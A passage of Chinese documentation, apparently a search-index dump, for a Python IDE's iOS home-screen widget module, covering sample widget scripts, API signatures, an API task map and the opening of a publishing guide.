负责渲染、刷新与桌面交互。 边界 :widget 是 WidgetKit 时间线模型 ,不是普通 App 页面。不要用 appui 做小组件,不要用 scene 做 60fps 游戏画布。脚本只描述布局、参数、状态与时间线,结尾必须 w.render()。 模块概览 项 说明 导入 `import widget` 适合做什么 计数器、进度、图表卡片、锁屏 accessory、可点按钮/开关 入口 `w = widget.Widget(...)` → 组合节点 → **`w.render()`**(只创建一个 `Widget`) 可调参数 `widget.param.text/color/number/slider/bool/choice/file` — 预览面板可编辑 桌面交互 `widget.state.int/bool/...` → `count.increment()`、`done.toggle()` 等 action 尺寸适配 `widget.context`、`widget.family_value(...)` 按 small/medium/large 分支 发布 **Widget Studio** 运行后发布;文档 `previewWidget` 仅预览 → [从脚本到桌面](widget-quickstart-publish) 快速开始 运行下面脚本会打开 小组件预览 (非 AppUI 全屏)。用环形图展示饮水进度,+ / − 在桌面改写杯数。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\ngoal = widget.param.number(\"每日杯数\", 8, min=1, max=12)\nglasses = widget.state.int(\"glasses\", 0)\naccent = widget.param.color(\"主色\", \"#38BDF8\")\n\nw = widget.Widget(background=(\"#F0F9FF\", \"#0C4A6E\"), padding=14)\nw.text(\"饮水打卡\", size=16, weight=\"semibold\").line_limit(1).min_scale(0.72)\nw.ring_chart(\n min(int(glasses), int(goal)),\n total=int(goal),\n label=f\"{int(glasses)}/{int(goal)} 杯\",\n color=accent,\n)\nwith w.row(spacing=10):\n (\n w.button(\"−\", action=glasses.decrement(), style=\"plain\")\n .line_limit(1)\n .min_scale(0.72)\n )\n (\n w.button(\"+\", action=glasses.increment(), background=accent, color=\"#FFFFFF\")\n .line_limit(1)\n .min_scale(0.72)\n )\nw.render() 要点: widget.param.number(...):预览里可调每日目标杯数。 widget.state.int(...) + ring_chart(...):桌面点击后环与标签同步刷新。 with w.row(...):横排多个按钮,比纵向堆叠更省高度。 .line_limit(1).min_scale(...):防止 small/medium 文字被裁切。 Widget 预览示例 每日一言(参数 + 尺寸分支) 纯展示卡片:无 widget.state,演示 param.text、symbol 与 family_value;small 隐藏出处行。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nquote = widget.param.text(\"名言\", \"专注一件事,做到极致。\")\nauthor = widget.param.text(\"出处\", \"— 佚名\")\nink = widget.param.color(\"文字色\", \"#E2E8F0\")\ntitle_size = widget.family_value(17, small=15, large=20)\nbody_size = widget.family_value(15, small=13, large=17)\n\nw = widget.Widget(background=(\"#0F172A\", \"#020617\"), padding=16)\nwith w.row(spacing=8):\n w.symbol(\"quote.bubble.fill\").color(\"#60A5FA\").font_size(18)\n w.text(\"每日一言\", size=14, weight=\"semibold\", color=\"secondary\").line_limit(1)\nw.text(quote, size=body_size, color=ink).line_limit(3).min_scale(0.7)\nif not widget.context.is_family(\"small\"):\n w.text(author, size=12, color=\"secondary\").line_limit(1).min_scale(0.72)\nw.render() 本周专注(折线图) 静态数据折线 + 可调曲线色;适合仪表盘类小组件,不涉及桌面点击。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\ntitle = widget.param.text(\"标题\", \"本周专注\")\naccent = widget.param.color(\"曲线色\", \"#6366F1\")\nminutes = [25, 40, 15, 50, 30, 45, 20]\nchart_h = widget.family_value(48, small=36, large=56)\n\nw = widget.Widget(background=(\"#F5F3FF\", \"#1E1B4B\"), padding=14)\nwith w.row(spacing=8):\n w.symbol(\"brain.head.profile\").color(accent).font_size(18)\n w.text(title, size=16, weight=\"semibold\").line_limit(1).min_scale(0.72)\nw.line_chart(minutes, color=accent, height=chart_h, fill=True)\nif not widget.context.is_family(\"small\"):\n w.text(\"分钟 / 天(示例数据)\", size=11, color=\"secondary\").line_limit(1)\nw.render() 心智模型 根容器 :w = widget.Widget(background=..., padding=..., style=\"clean\") — 只管整体背景与边距。 内容节点 :text、value、symbol、image、progress、line_chart 等。 布局 :多数卡片用 row() / column() / grid();精确定位才用 canvas() / table()。 参数 :widget.param. 在构建 UI 之前 声明,供预览面板与 Studio 持久化。 状态 :widget.state. 生成桌面可执行的 increment / toggle / set action。 上下文 :widget.context.family、content_width、content_height 做尺寸分支。 收尾 :脚本末尾 有且仅有 一次 w.render()。 与 appui / scene 怎么选 需求 首选 原因 主屏/锁屏/StandBy 卡片 `widget` WidgetKit 时间线与系统刷新预算 设置页、表单、导航 App `appui` 完整交互与滚动列表 触摸游戏、逐帧动画 `scene` 实时帧循环,不是 Widget 模型 教材海龟绘图 `turtle` 单次画布,非桌面组件 WidgetKit 能做什么 / 不能做什么 适合 不适合 静态/准静态展示、数字过渡动画 文本输入框、长列表滚动 按钮、开关、链接(AppIntent) WebView、视频、复杂手势 时间线刷新、深色/透明/渐变背景 60fps 实时动画、任意 Python 回调在扩展内执行 API 参考 速查 API 作用 `Widget(...)` 根容器;唯一入口 `w.render()` 提交 IR,生成预览/桌面时间线 `widget.param.text/color/number/slider/bool/choice/file` 用户可调参数 `widget.state.int/float/bool/str/list` 持久状态 + action 工厂 `count.increment()` / `done.toggle()` 按钮/开关的 `action=` `widget.context` 当前 family 与内容区尺寸 `widget.family_value(d, small=..., large=...)` 按尺寸返回值 `w.timeline(...)` 多条时间线条目(见专题文档) `widget.SMALL` / `MEDIUM` / `LARGE` 尺寸常量 widget.param 声明 方法 用途 `text(name, default)` 标题、文案 `color(name, default)` 十六进制或语义色 `number(name, default, min=, max=)` 整数/小数参数 `slider(name, default, min=, max=, step=)` 滑块 `bool(name, default)` 开关类参数(预览面板,不是桌面 state) `choice(name, options, default=)` 下拉选项 `file(name, default, extensions=)` 图片等资源路径 第一个参数 name 是参数 ID,同时作为预览面板默认标题。 widget.state 与交互 count = widget.state.int(\"count\", 0)\ndone = widget.state.bool(\"done\", False)\n\nw.button(\"加 1\", action=count.increment())\nw.button(\"减 1\", action=count.decrement(by=2))\nw.toggle(\"完成\", state=done) # 用 state=,不要手写 toggle action 状态 key 变更或删除后,需重新发布小组件,否则桌面可能仍读写旧 key。 尺寸与布局 ctx = widget.context\n\nif ctx.is_family(\"small\"):\n w.text(\"简版\", size=14)\nelif ctx.is_family(\"large\"):\n w.text(\"完整版\", size=18)\n\nsize = widget.family_value(14, small=12, medium=14, large=18) 布局细节见 布局与尺寸;完整节点列表见 API 参考。 常见错误 错误写法 后果 修正 忘记 `w.render()` 预览空白 脚本末尾调用一次 创建多个 `Widget()` 行为未定义 只保留一个根 `Widget` `SpriteNode` / `appui.Button` 混入脚本 构建失败 只用 `widget.Widget` 节点 API 按钮 `action` 写死字符串 点击无反应 用 `widget.state` 的 `.increment()` 等 `widget.param` 写在 `render()` 之后 参数面板缺失 先声明参数再构建 UI small 塞满 large 文案 文字裁切 `family_value` / `is_family` 分支 + `line_limit` 改 state key 不重新发布 桌面计数错乱 重新运行、发布,必要时删桌面组件重装 传 Python 函数给 `action=` 需拉起 App 执行 交互优先 `widget.state`;见 [交互](widget-interaction) `w.symbol(..., color=, size=)` `TypeError` `w.symbol(\"name\").color(c).font_size(n)` `w.toggle(..., tint=)` `TypeError` 用 `color=` `w.link(..., icon=).line_limit()` `AttributeError` 带 `icon` 的 link 不可链修饰符 失败路径 情况 处理 预览空白 检查 `w.render()`、是否只创建一个 `Widget`、脚本是否混入 appui/scene 参数不出现 确认 `widget.param.*` 在 UI 构建前,且 name 非空 点击没反应 `action` 必须来自 `widget.state`;开关用 `w.toggle(..., state=done)` 桌面仍旧内容 重新运行并发布;删除主屏小组件后重新添加 文本被裁切 `.line_limit(1).min_scale(0.65)`;small 隐藏次要行 预览与桌面不一致 查 [排错](widget-troubleshooting);确认已发布最新构建 发布到桌面(简表) 文档里的 previewWidget 不能 直接上主屏。完整步骤见 从脚本到桌面。 把脚本复制到 Widget Studio 项目 Studio 运行预览 → 调 widget.param → 切换 family 检查裁切 构建成功且提示「已发布」类消息 在 iOS 主屏幕 + 添加 Python IDE 小组件 在桌面点按钮/开关验证 widget.state 专题文档 文档 用途 [从脚本到桌面](widget-quickstart-publish) 发布流程与检查清单 [布局与尺寸](widget-layout) row/column/grid、family 预算 [参数面板](widget-parameters) `widget.param` 详解 [状态和交互](widget-interaction) state、按钮、开关、链接 [时间线和动画](widget-timeline) `timeline`、`content_transition` [资源与外观](widget-appearance-assets) 颜色、渐变、图片、SVG [排错](widget-troubleshooting) 预览/桌面不一致 [API 索引](widget-api-index) 按任务选 API [API 参考](widget-api-reference) 全部节点签名 相关模块 文档 用途 [appui](appui) 完整 App 界面(非小组件) [scene](scene-module) 2D 游戏画布(非 WidgetKit) [shortcut](shortcuts-module) 快捷指令触发脚本刷新小组件 相关文档 widget API 参考 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "widget-api-reference", + "title": "widget API 参考", + "subtitle": "公开 Widget() API 速查。", + "section": "widget / 小组件", + "url": "pages/widget-api-reference/", + "text": "widget API 参考 公开 Widget() API 速查。 widget 小组件 Widget API widget api Widget API 参考 签名 signature w.validate API 参考 这页是公开 Widget() API 的签名索引。先用 API 地图 按任务选择能力,再回到这里核对函数名、参数名和返回句柄。 怎么查 选能力:先看「常用组合」。 查签名:看「完整公开 API 索引」。 学写法:先看 widget 或 从脚本到桌面,再进入布局、参数、交互、时间线或外观指南。 排故障:先看 排错,再回到这里核对签名。 常用组合 目标 推荐 API 普通信息卡 `text`、`value`、`progress`、`row`、`column` 精确表格 `table`、`canvas`、`path`、`shape`、`.place()` 可点击状态 `widget.state`、`button`、`toggle` 可调参数 `widget.param.color/slider/text/bool/choice/file` 动态数据 `widget.entry`、`timeline`、`content_transition`、`flip` 外观适配 `container_background`、`content_margins`、`transparent_background`、`accentable` 行为契约 API 保证 注意 `Widget()` 创建一个小组件根容器,控制背景、边距和整体样式。 一个脚本只保留一个最终渲染的小组件。 `w.render()` 输出当前小组件并结束构建流程。 放在脚本末尾;没有调用时预览和发布都不会得到内容。 `widget.param.*` 在预览面板提供可配置输入,构建时读取当前值。 参数不是桌面点击状态;改名后需要重新运行并发布。 `widget.state.*` 保存桌面交互状态,并为按钮或开关生成安全动作。 不要把普通 Python 回调传给桌面按钮。 `w.button()` / `w.toggle()` 创建系统允许的点击或开关交互。 交互区域要清晰,避免同一区域同时承担链接和按钮。 `w.timeline()` / `widget.entry` 声明一组未来显示结果,用于系统刷新和数据更新动画。 刷新时机由系统调度,不适合连续动画。 `widget.family_value()` 为不同 family 选择不同值。 small、medium、large 内容密度差异大,不要只缩小同一套布局。 `.line_limit()` / `.min_scale()` 限制可变文本的行数,并允许文字在小尺寸内缩放。 用户可改文本、按钮标题和主值默认都应该加。 `w.container_background()` 声明系统小组件背景。 透明、染色和背景移除是否生效取决于系统宿主环境。 公开 API 速查 场景 常用 API 用途 创建和运行 `Widget()`、`w.render`、`w.validate`、`w.timeline` 创建、检查、发布小组件,并声明更新时间线。 尺寸和数据 `widget.context`、`widget.entry`、`widget.param`、`widget.state`、`widget.family_value` 读取当前尺寸、时间线数据、参数和桌面交互状态。 文字和内容 `w.text`、`w.rich_text`、`w.value`、`w.symbol`、`w.svg`、`w.image`、`w.badge` 标题、数值、图标、图片和组合文字。 图表和进度 `w.progress`、`w.ring_chart`、`w.line_chart`、`w.bar_chart` 进度条、圆环、折线和柱状图。 布局 `w.row`、`w.column`、`w.layer`、`w.grid`、`w.table`、`w.canvas`、`w.spacer`、`w.divider` 从自动布局到精确表格、画布定位。 形状和线条 `w.shape`、`w.rect`、`w.circle`、`w.path`;`.stroke`、`.clip_shape`、`.mask`、`.reverse_mask` 线宽、虚线、裁切、遮罩和自定义图形。 交互 `w.button`、`w.toggle`、`w.link`;`widget.action` AppIntent 按钮、开关、链接和状态动作。 外观 `w.container_background`、`w.content_margins`、`w.transparent_background`、`w.background_image`;`.accentable`、`.privacy_sensitive`、`.redacted` 深色、透明、染色、隐私和占位。 动画 `w.flip`;`.content_transition`、`.animation`、`.transition`、`.id` WidgetKit 数据更新动画和稳定身份。 资源和缓存 `widget.save_image`、`widget.cache_json`、`widget.history` 保存图片、缓存网络数据和保留历史值。 完整公开 API 索引 常量 widget.CIRCULAR:Family: circular widget.INLINE:Family: inline widget.LARGE:Family: large widget.MEDIUM:Family: medium widget.RECTANGULAR:Family: rectangular widget.SMALL:Family: small 运行值 widget.action:动作助手,用于创建受控刷新、状态和打开链接动作。 widget.color:颜色助手,用于固定色、浅深色和系统角色色。 widget.context:当前 family、尺寸和内容区域信息。 widget.entry:当前 timeline entry 的字段读取入口。 widget.family:当前小组件 family 名称。 widget.param:预览面板参数声明入口。 widget.state:桌面交互状态声明入口。 widget.storage:小组件脚本可用的轻量存储入口。 函数 widget.cache_json widget.cache_json(\n url: str,\n *,\n ttl: Optional[float] = 3600,\n default: Any = None,\n params: Optional[Dict[str, Any]] = None,\n headers: Optional[Dict[str, str]] = None,\n key: Optional[str] = None,\n timeout: float = 8,\n) -> Any widget.family_value widget.family_value(default: Any = None, **values: Any) -> Any widget.history widget.history(\n key: str,\n value: Any = None,\n limit: int = 7,\n *,\n bucket: Optional[str] = \"day\",\n default: Any = None,\n) -> Any widget.save_image widget.save_image(source: Union[str, bytes], name: str, *, variant: Optional[str] = None) -> str Widget 方法 w.background w.background(value: WidgetBackground) -> \"Widget\" w.background_image w.background_image(\n asset: Optional[ImageLike] = None,\n content_mode: str = \"fill\",\n dim: Optional[Union[bool, float]] = None,\n scrim: Optional[Union[bool, str]] = None,\n scrim_opacity: Optional[float] = None,\n focal: str = \"center\",\n overlay_color: ColorLike = \"#000000\",\n *,\n light: Optional[str] = None,\n dark: Optional[str] = None,\n) -> \"Widget\" w.badge w.badge(\n text: Union[str, int, float],\n icon: Optional[str] = None,\n tone: str = \"accent\",\n style: str = \"plain\",\n) -> WidgetNode w.bar_chart w.bar_chart(\n values: List[Union[int, float]],\n color: Optional[ColorLike] = None,\n height: Optional[float] = None,\n min_value: Optional[float] = None,\n max_value: Optional[float] = None,\n spacing: Optional[float] = None,\n corner_radius: Optional[float] = None,\n track_color: Optional[ColorLike] = None,\n opacity: Optional[float] = None,\n padding: Optional[Union[int, float]] = None,\n frame: Optional[Dict[str, Any]] = None,\n segment_colors: Optional[List[ColorLike]] = None,\n baseline: Optional[float] = None,\n threshold: Optional[float] = None,\n labels: Optional[Union[List[Any], Dict[str, Any]]] = None,\n label_color: Optional[ColorLike] = None,\n) -> WidgetNode w.body w.body(content: Union[str, int, float]) -> WidgetNode w.button w.button(\n title: Optional[str] = None,\n action: Optional[Union[str, WidgetAction]] = None,\n url: Optional[str] = None,\n color: Optional[ColorLike] = None,\n background: Optional[WidgetBackground] = None,\n size: Optional[float] = None,\n padding: Optional[Union[int, float]] = None,\n *,\n style: Optional[str] = None,\n layout: Optional[str] = None,\n press: Optional[Dict[str, Any]] = None,\n normal: Optional[Dict[str, Any]] = None,\n) -> WidgetNode w.canvas w.canvas(\n height: Optional[float] = None,\n coordinate_space: str = \"relative\",\n align: str = \"center\",\n background: Optional[WidgetBackground] = None,\n padding: Optional[Union[int, float]] = None,\n corner_radius: Optional[float] = None,\n border_color: Optional[ColorLike] = None,\n border_width: Optional[float] = None,\n opacity: Optional[float] = None,\n frame: Optional[Dict[str, Any]] = None,\n fill: bool = False,\n) -> Canvas w.caption w.caption(content: Union[str, int, float]) -> WidgetNode w.change w.change(\n primary: Union[str, int, float],\n secondary: Optional[Union[str, int, float]] = None,\n direction: Optional[str] = None,\n) -> WidgetNode w.circle w.circle(\n color: Optional[ColorLike] = None,\n size: Optional[float] = None,\n opacity: Optional[float] = None,\n padding: Optional[Union[int, float]] = None,\n frame: Optional[Dict[str, Any]] = None,\n border_color: Optional[ColorLike] = None,\n border_width: Optional[float] = None,\n) -> WidgetNode w.column w.column(\n spacing: Optional[Union[int, float]] = None,\n align: Optional[str] = None,\n) -> WidgetContainer w.container_background w.container_background(\n value: Optional[WidgetBackground] = None,\n *,\n removable: Optional[bool] = None,\n) -> \"Widget\" w.content_margins w.content_margins(\n enabled: bool = True,\n padding: Optional[Union[int, float, Sequence[float], Dict[str, float]]] = None,\n) -> \"Widget\" w.context w.context -> WidgetContext w.countdown w.countdown(\n title: Optional[Union[str, int, float]] = \"Countdown\",\n target: Optional[Union[datetime, str]] = None,\n subtitle: Optional[Union[str, int, float]] = None,\n icon: Optional[str] = None,\n tone: Optional[str] = None,\n accent: Optional[ColorLike] = None,\n) -> WidgetBlock w.date w.date(target: Optional[Union[datetime, str]] = None, style: str = \"date\") -> WidgetNode w.divider w.divider(color: Optional[ColorLike] = None, opacity: Optional[float] = None, ) -> WidgetNode w.dynamic_date w.dynamic_date(target: Optional[Union[datetime, str]] = None, style: str = \"date\") -> WidgetNode w.flip w.flip(\n value: Any,\n previous: Optional[Any] = None,\n *,\n direction: str = \"up\",\n width: Optional[float] = None,\n height: Optional[float] = None,\n size: Optional[float] = None,\n weight: str = \"bold\",\n color: Optional[ColorLike] = None,\n background: Optional[WidgetBackground] = None,\n corner_radius: Optional[float] = None,\n duration: float = 0.55,\n delta: Optional[float] = None,\n perspective: float = 0.62,\n shadow_opacity: float = 0.18,\n padding: Optional[Union[int, float]] = None,\n frame: Optional[Dict[str, Any]] = None,\n design: Optional[str] = \"monospaced\",\n) -> WidgetNode w.grid w.grid(\n columns: int = 2,\n spacing: Optional[Union[int, float]] = None,\n row_spacing: Optional[Union[int, float]] = None,\n column_spacing: Optional[Union[int, float]] = None,\n align: Optional[str] = None,\n padding: Optional[Union[int, float]] = None,\n background: Optional[WidgetBackground] = None,\n opacity: Optional[float] = None,\n corner_radius: Optional[float] = None,\n border_color: Optional[ColorLike] = None,\n border_width: Optional[float] = None,\n url: Optional[str] = None,\n shadow_color: Optional[ColorLike] = None,\n shadow_radius: Optional[float] = None,\n shadow_x: float = 0,\n shadow_y: float = 2,\n rows: Optional[int] = None,\n equal: bool = False,\n fill: bool = False,\n) -> WidgetContainer w.image w.image(\n name: Optional[ImageLike] = None,\n width: Optional[float] = None,\n height: Optional[float] = None,\n corner_radius: Optional[float] = None,\n opacity: Optional[float] = None,\n padding: Optional[Union[int, float]] = None,\n content_mode: Optional[str] = None,\n *,\n light: Optional[str] = None,\n dark: Optional[str] = None,\n rendering_mode: Optional[str] = None,\n) -> WidgetNode w.layer w.layer(\n align: str = \"center\",\n padding: Optional[Union[int, float]] = None,\n background: Optional[WidgetBackground] = None,\n corner_radius: Optional[float] = None,\n) -> WidgetContainer w.line_chart w.line_chart(\n values: List[Union[int, float]],\n color: Optional[ColorLike] = None,\n height: Optional[float] = None,\n min_value: Optional[float] = None,\n max_value: Optional[float] = None,\n fill: bool = True,\n show_points: bool = True,\n line_width: Optional[float] = None,\n track_color: Optional[ColorLike] = None,\n opacity: Optional[float] = None,\n padding: Optional[Union[int, float]] = None,\n frame: Optional[Dict[str, Any]] = None,\n segment_colors: Optional[List[ColorLike]] = None,\n baseline: Optional[float] = None,\n threshold: Optional[float] = None,\n labels: Optional[Union[List[Any], Dict[str, Any]]] = None,\n label_color: Optional[ColorLike] = None,\n) -> WidgetNode w.link w.link(\n title: str,\n url: str,\n icon: Optional[str] = None,\n color: Optional[ColorLike] = None,\n) -> Union[WidgetNode, WidgetContainer] w.list w.list(\n items: List[Any],\n title: Optional[Union[str, int, float]] = None,\n limit: Optional[int] = None,\n empty_text: Optional[Union[str, int, float]] = None,\n dividers: bool = False,\n) -> WidgetContainer w.path w.path(\n points: List[PathPoint],\n stroke: Optional[ColorLike] = None,\n fill: Optional[ColorLike] = None,\n line_width: Optional[Union[float, str]] = None,\n closed: bool = False,\n height: Optional[float] = None,\n coordinate_space: str = \"relative\",\n opacity: Optional[float] = None,\n padding: Optional[Union[int, float]] = None,\n frame: Optional[Dict[str, Any]] = None,\n line_cap: Optional[str] = None,\n line_join: Optional[str] = None,\n dash: Optional[Sequence[float]] = None,\n miter_limit: Optional[float] = None,\n) -> WidgetNode w.progress w.progress(\n value: Union[int, float],\n total: float = 1.0,\n color: Optional[ColorLike] = None,\n height: Optional[float] = None,\n track_color: Optional[ColorLike] = None,\n *,\n title: Optional[str] = None,\n subtitle: Optional[str] = None,\n unit: Optional[str] = None,\n icon: Optional[str] = None,\n tone: Optional[str] = None,\n accent: Optional[str] = None,\n style: Optional[str] = None,\n) -> WidgetNode w.rect w.rect(\n color: Optional[ColorLike] = None,\n width: Optional[float] = None,\n height: Optional[float] = None,\n corner_radius: Optional[float] = None,\n opacity: Optional[float] = None,\n padding: Optional[Union[int, float]] = None,\n frame: Optional[Dict[str, Any]] = None,\n border_color: Optional[ColorLike] = None,\n border_width: Optional[float] = None,\n) -> WidgetNode w.region w.regio" + }, + { + "id": "widget-api-index", + "title": "widget API 地图", + "subtitle": "按任务/场景索引 Widget API;含 symbol 链式 color 等易错点。", + "section": "widget / 小组件", + "url": "pages/widget-api-index/", + "text": "widget API 地图 按任务/场景索引 Widget API;含 symbol 链式 color 等易错点。 widget 小组件 Widget API Index widget api index API 地图 API 速查 签名 布局 API 交互 API widget API 地图 发布流程见 从脚本到桌面;完整签名见 widget API 参考。 按 任务 和 场景 组织 widget 公开 API。需要确认参数名、返回值或修饰符链时,再查 API 参考。 边界 :本页是索引,不展开教程。入门见 widget 概览;故障见 排错。 本篇目标 项 说明 用途 快速定位「该用哪个 API」 精确签名 [API 参考](widget-api-reference) 写法示例 各专题文档(布局、参数、交互…) 默认 family 主屏 **medium**;其它尺寸见 [布局与尺寸](widget-layout) 最小入口 可运行基线脚本见 排错 · 最小健康基线(全系列唯一基线,避免各篇重复)。本页只做 API 路由,不另附 runnable 示例。 先看哪一类 你要做什么 先看 专题 从零写第一个小组件 `Widget()`、`text()`、`render()` [概览](widget-module) 发布到主屏 Studio 发布流程 [从脚本到桌面](widget-quickstart-publish) 预览里调配色/标题 `widget.param.*` [参数面板](widget-parameters) 桌面按钮/开关 `widget.state`、`button()`、`toggle()` [状态和交互](widget-interaction) small/medium/large 适配 `widget.context`、`family_value()`、`when()` [布局与尺寸](widget-layout) 数字动画 / 定时刷新 `timeline()`、`widget.entry`、`flip()` [时间线和动画](widget-timeline) 深色/透明/图片/Symbol `container_background`、`symbol()`、`image()` [资源与外观](widget-appearance-assets) 预览空白 / 桌面不对 基线排查、`validate()` [排错](widget-troubleshooting) 按任务选 API 任务 首选 API 注意 创建根容器 `Widget(background=, padding=, style=)` 脚本里**只有一个** `Widget()` 提交渲染 `w.render()` 必须在脚本末尾 布局诊断 `w.validate(family=)` Studio「Widget 诊断」对应此报告 流式横/纵排 `row()`、`column()`、`layer()` 必须用 `with w.row():` 上下文 等列网格 `grid(columns=)` 子节点按顺序填格 表格线 / Bingo `table(rows, columns)` + `table.cell()` 勿用 `rect` 拼线 点坐标绘制 `canvas()`、`.place()` 读 `content_width` / `content_height` 标题与数值 `text()`、`value()`、`title()`、`caption()` 可变文案加 `line_limit` + `min_scale` SF Symbol `symbol(name)` → `.color()` `.font_size()` **`symbol` 无 `color=`/`size=` 参数** 图片 / SVG `image()`、`svg()` 支持 `light`/`dark` 双资源 进度与图表 `progress()`、`ring_chart()`、`line_chart()`、`bar_chart()` small 注意高度预算 可调配置 `widget.param.text/color/number/slider/bool/choice/file` 不是桌面 state 桌面状态 `widget.state.int/bool/list/...` `.increment()`、`.toggle()`、`.toggle_item()` 按钮/开关/链接 `button()`、`toggle()`、`link()` `action` 必须来自 state 工厂;`link(..., icon=)` 不可链 `.line_limit()` 时间线 `w.timeline(entries=, update=)` entry 字段用 `widget.entry.*` 数据动画 `.content_transition(\"numericText\")`、`.id()`、`flip()` 非 60fps 循环 系统倒计时 `countdown()`、`timer_text()` 原生走时 外观/透明 `container_background()`、`transparent_background()`、`background_image()` 染色用 `.accentable()` 缓存数据 `cache_json()`、`history()`、`save_image()` 见 API 参考 索引 Family 常量 名称 说明 `widget.SMALL` 主屏小(约 158×158 内容区) `widget.MEDIUM` 主屏中(约 338×158) `widget.LARGE` 主屏大(约 338×354) `widget.CIRCULAR` 锁屏圆形 accessory `widget.RECTANGULAR` 锁屏矩形 accessory `widget.INLINE` 锁屏行内 accessory 模块入口 名称 说明 `widget.context` 当前 family、`width`/`height`、`content_*`、`is_family()` `widget.param` 预览面板参数声明 `widget.state` 桌面持久状态 + AppIntent 工厂 `widget.entry` 当前 timeline entry 字段 `widget.family_value()` 按 family 返回值 `widget.action` 受控动作助手(高级) `widget.color` 颜色助手 `widget.storage` 轻量存储 生命周期(Widget 实例) 方法 说明 `Widget(...)` 创建根容器 `w.render()` 输出 IR,结束构建 `w.validate(family=)` 布局/动画诊断报告 `w.timeline(...)` 声明时间线条目与刷新策略 `w.background()` 运行时改根背景 `w.container_background()` 系统容器背景 `w.transparent_background()` 请求透明 `w.content_margins()` 内容边距开关 `w.background_image()` 背景图 + scrim 布局容器 方法 说明 `row()` / `column()` 横/纵栈(`with` 块) `layer()` 叠放 `grid()` 等列网格 `table()` 单路径表格线 `canvas()` 点位坐标画布 `when()` / `unless()` 按 family 显示/隐藏块 `spacer()` / `divider()` 间距与分割线 内容与媒体 方法 说明 `text()` / `rich_text()` 文本 `value()` 数字/状态展示 `symbol()` SF Symbol(语义图标) `icon()` 低级图标(一般优先 `symbol`) `image()` / `svg()` 位图 / 矢量 `badge()` / `label()` / `status()` 组合标签 `progress()` / `ring_chart()` / `line_chart()` / `bar_chart()` 图表 `flip()` 翻页数字块 `countdown()` / `timer_text()` / `dynamic_date()` 时间相关 交互 方法 说明 `button(action=)` AppIntent 按钮 `toggle(state=)` 开关(`color=`,无 `tint=`) `link(title, url)` 打开链接 常用修饰符(链式) 修饰符 说明 `.line_limit(n)` / `.min_scale(f)` 防裁切 `.color()` / `.font_size()` / `.font_weight()` 外观(**symbol 用链式上色**) `.id()` 稳定视图身份 `.content_transition()` / `.animation()` / `.transition()` 数据更新动画 `.accentable()` 系统染色参与与否 `.privacy_sensitive()` / `.redacted()` 锁屏隐私 `.monospaced_digit()` 等宽数字 工具函数 函数 说明 `widget.save_image()` 注册图片供 `image`/`background_image` 引用 `widget.cache_json()` 带 TTL 的 JSON 缓存 `widget.history()` 按 bucket 保留历史序列 `widget.validate_layout()` 对 IR 文档做诊断 选择规则 信息卡默认 row / column;精确定位再用 table / canvas。 用户调配置 → widget.param; 用户点桌面 → widget.state。 按钮 action 只用 state 工厂,不传 Python 函数或字符串。 多 family 用 family_value / is_family / when,勿整体缩小 large 布局。 可变文案 默认 .line_limit(1).min_scale(0.65+)。 w.symbol(\"name\") 后链 .color(accent).font_size(18);多色用 rendering=\"palette\", palette=[...]。 # ❌ symbol 不接受 color=/size=\nw.symbol(\"star.fill\", color=\"#F59E0B\", size=18)\n\n# ✅\nw.symbol(\"star.fill\").color(\"#F59E0B\").font_size(18)\nw.symbol(\"paintpalette.fill\", rendering=\"palette\", palette=[\"#EF4444\", \"#3B82F6\"]) 专题文档地图 文档 覆盖 API [widget 概览](widget-module) 总览、快速开始、心智模型 [从脚本到桌面](widget-quickstart-publish) `render`、发布、桌面验证 [布局与尺寸](widget-layout) `row`/`grid`/`table`/`canvas`、`context` [参数面板](widget-parameters) `widget.param` [状态和交互](widget-interaction) `widget.state`、`button`、`toggle`、`link` [时间线和动画](widget-timeline) `timeline`、`entry`、`flip`、动画修饰符 [资源与外观](widget-appearance-assets) 背景、图片、SVG、accentable [排错](widget-troubleshooting) `validate`、常见 TypeError [API 参考](widget-api-reference) 全部公开签名 示例场景地图 每篇主打不同场景,避免复制粘贴同一套计数器示例: 文档 主打示例 [概览](widget-module) 饮水环形图 ±、每日一言、折线图 [从脚本到桌面](widget-quickstart-publish) 习惯开关发布验证 [参数面板](widget-parameters) 主题天气 `choice` 换肤 [状态和交互](widget-interaction) 连续签到、习惯清单、闹钟开关、链接 [布局与尺寸](widget-layout) 健康仪表盘、快递追踪、播客 `when`、周历 grid、Bingo table、canvas、锁屏 [时间线和动画](widget-timeline) 零钱罐、分时电价、flip 翻页、阶段文案、会议倒计时 [资源与外观](widget-appearance-assets) 渐变、accentable、layer、背景图、头像、SVG、步数隐私 [排错](widget-troubleshooting) 最小健康基线(唯一 runnable 基线) 失败路径 现象 处理 不知道用哪个 API 本文「先看哪一类」→ 专题文档 签名记不清 [API 参考](widget-api-reference) `TypeError: unexpected keyword` [排错](widget-troubleshooting) 对照表(`tint`、`symbol color` 等) 示例能预览、桌面异常 发布流程 + 缓存重装 相关 API:widget api reference.md" + }, + { + "id": "widget-quickstart-publish", + "title": "widget 从脚本到桌面", + "subtitle": "Widget Studio 预览、发布、系统添加主屏小组件与桌面验证。", + "section": "widget / 小组件", + "url": "pages/widget-quickstart-publish/", + "text": "widget 从脚本到桌面 Widget Studio 预览、发布、系统添加主屏小组件与桌面验证。 widget 小组件 Widget Quickstart Publish Widget Studio widget quickstart 小组件发布 发布到桌面 Widget Studio 添加小组件 编辑主屏幕 previewWidget 桌面刷新 widget.state widget 从脚本到桌面 API 地图见 widget api index.md;完整签名见 widget api reference.md。 从第一行 Python 脚本到主屏/锁屏真正显示:写脚本 → 预览 → 调参 → 发布 → 系统添加小组件。 边界 :本篇讲 发布流程 。API 与节点写法见 widget 概览;文档里的 previewWidget 只能预览 ,不能直接发布到桌面。 本篇目标 项 说明 读完你会 完成一次端到端发布,并在桌面验证按钮交互 前提 脚本含 `Widget()` + `w.render()`,且能正常预览 推荐路径 **Widget Studio** 独立项目(最省事) 耗时 首次约 5–10 分钟(含系统添加小组件) 发布用脚本(可预览) 本篇示例专注 发布验证 :一个开关 + 状态文案,便于在桌面确认 AppIntent 是否生效。完整 API 写法(环形图、± 按钮等)见 widget 概览 · 饮水打卡。 预期效果:小组件预览面板显示与脚本一致的布局与交互。 import widget\n\nhabit = widget.param.text(\"习惯名\", \"每日阅读\")\ndone = widget.state.bool(\"done\", False)\naccent = 